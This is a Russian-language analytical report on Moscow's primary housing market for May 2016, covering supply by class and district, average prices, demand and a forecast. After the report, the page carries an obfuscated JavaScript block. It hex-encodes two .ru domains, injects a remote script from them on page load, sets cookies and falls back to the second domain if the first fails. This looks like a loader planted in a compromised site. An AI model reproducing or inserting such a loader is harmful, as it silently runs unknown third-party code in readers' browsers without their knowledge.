Доля комфорт-класса на рынке новостроек Москвы превысила долю бизнес-класса

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили аналитический отчет о состоянии первичного рынка в «старых» границах Москвы в мае. Суммарная площадь всех объектов в реализации выросла на 3,7% и составила 2,7 млн кв. м в более чем 507 корпусах 252 проектов. Объем нового предложения, поступившего на первичный рынок жилой недвижимости в мае, равнялся 134,9 тыс. кв. м, что на 6,8% меньше, чем в предыдущем месяце. Основная часть нового предложения относилась к комфорт-классу – 61,2%. В мае 2016 года произошли значительные изменения в структуре предложения – впервые с 2010 года объем предложения комфорт-класса вышел на первое место и сместил бизнес-класс с лидирующих позиций. Доля предложения комфорт-класса в мае составила 41,4%, бизнес-класса – 40,5%. Средневзвешенная цена по итогам мая находилась на уровне 228,6 тыс. руб./кв. м (без учета элитного предложения), по сравнению с апрелем она незначительно скорректировалась в сторону снижения на 0,7%.

За год объем предложения по суммарной площади объектов на первичном рынке «старой» Москвы вырос на 36,7%. Объем предложения квартир вырос за месяц на 3,9%, апартаментов – на 3,5%. Доля апартаментов составила 23,3% от общего объема предложения.

В продажу за май поступил значительный объем нового предложения – порядка 134,9 тыс. кв. м, что на 6,8% меньше, чем в предыдущем месяце. Продажи были открыты в таких проектах, как ЖК «Поколение» и ЖК «Петра Алексеева», началось предварительное бронирование в ЖК «Дом на Вавилова» и апарт-комплексе Studio#12. Также объем предложения пополнился за счет выхода новых корпусов в таких проектах, как ЖК LIFE-Ботанический сад, ЖК «ЗИЛАРТ», жилой район GreenPark, ЖК «Мещерский лес». Основная часть нового предложения – 61,2% от суммарной площади объектов относилась к комфорт-классу, к бизнес-классу – 38,8%.

При распределении по классам в мае наибольший прирост объема предложения был отмечен в экономклассе – на 11,5% по отношению к предыдущему месяцу. На втором месте по приросту объема предложения был комфорт-класс (+9,9%). Также незначительный рост показал объем предложения премиум-класса (+0,2%). Снижение произошло в элитном сегменте – на 4,7% и в бизнес-классе – на 0,8%.

Комфорт-класс впервые сместил по объему предложения с лидирующей позиции бизнес-класс. В мае доля предложения комфорт-класса составила 41,4%, бизнес-класса – 40,5%. Доля экономкласса была на уровне 3,9%, премиум-класса – 9,2%, элитного жилья – 5,1%.

Наибольший объем предложения в продаже с апреля 2016 года был представлен в ЮАО – в мае его доля составила 16,5% от суммарной площади объектов. ЦАО занял второе место по объему предложения – 15,5%, третье – САО – 13,6%. Последнее место по объему предложения относилось к ЗелАО, где в реализации находится около 1,2% от общего объема предложения в Москве. ВАО занял предпоследнее место с долей в 4,3%.

Наибольший прирост объема предложения в мае был отмечен в ЗАО (+22,4%) и СВАО (+9,3%). Рост объема предложения в ЗАО был связан с выходом нового проекта – ЖК «Петра Алексеева» и нового корпуса в ЖК «Мещерский лес». В СВАО вышли новые корпуса в ЖК LIFE-Ботанический сад и жилом районе GreenPark, а также два новых проекта – ЖК «Поколение» и апарт-комплекс Studio#12. Также вырос объем предложения в САО (+8,8%), ЮВАО (+5,9%), ЮЗАО (4,8%) и ЮАО (+2,5%).

Наибольшее снижение объема предложения было отмечено в ЗелАО – на 10,2%, что в основном было связано с высоким уровнем спроса. Также сокращение объема предложения произошло в СЗАО (-10%), в ВАО (-4,6%) и в ЦАО (-2,8%).

Средневзвешенная цена на рынке новостроек столицы по итогам мая 2016 года составила 228,6 тыс. руб./кв. м (без учета элитного предложения). По сравнению с апрелем цена незначительно скорректировалась в сторону снижения на 0,7%. В сегменте квартир падение цены составило 1,1%, в сегменте апартаментов она незначительно выросла на 0,2%.

При распределении по классам наибольший рост средневзвешенной цены за месяц был отмечен в комфорт-классе – на 2% (151 тыс. руб./ кв. м). Также цена незначительно выросла в бизнес- и премиум-классе – на 0,8% (240,8 тыс. руб./кв. м) и 0,2% (571,7 тыс. руб./кв. м) соответственно. Наибольшее снижение средневзвешенной цены было зафиксировано в экономклассе – на 3,3% (119,4 тыс. руб./кв. м), что связано с выходом нового объема квартир в ЖК «Некрасовка». Сокращение цены также произошло в сегменте элитной недвижимости – на 1,7%, что обусловлено волатильностью курсов валют.

В мае 2016 года в ЦАО традиционно была отмечена наиболее высокая средневзвешенная цена – 676 тыс. руб./кв. м, по сравнению с апрелем она снизилась на 1,4%. На втором месте был ЗАО – 261,6 тыс. руб./кв. м, где цена снизилась на 2,8%. Самая низкая средневзвешенная цена была зафиксирована в ЗелАО – 81,2 тыс. руб./кв. м, за месяц она сократилась на 0,3%. Средневзвешенная цена в мае выросла в таких округах, как САО (+2,1%), ВАО (+1,8%), СВАО (+1%). В прочих округах цена снизалась: СЗАО (-0,8%) и ЮЗАО (-2,5%).

По итогам мая 2016 года было отмечено традиционное снижение спроса, связанное с длительными майскими праздниками и началом сезона отпусков. По сравнению с апрелем реализованный спрос в мае оказался ниже на 31,6%, потенциальный – на 31,5%. При этом по сравнению с маем 2015 года реализованный спрос оказался в 3,1 раза выше, а потенциальный – на 42,8%.

«В летние месяцы ожидается умеренный уровень спроса на фоне разнонаправленной ценовой динамики. Уровень цен в основном будет зависеть от объема и структуры предложения. Объем предложения будет постепенно расти, но в меньшей степени вследствие выхода новых объектов, скорее за счет новых очередей в уже строящихся проектах на фоне невысокого спроса. Лишь осенью стоит ожидать массового поступления новых проектов», – Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>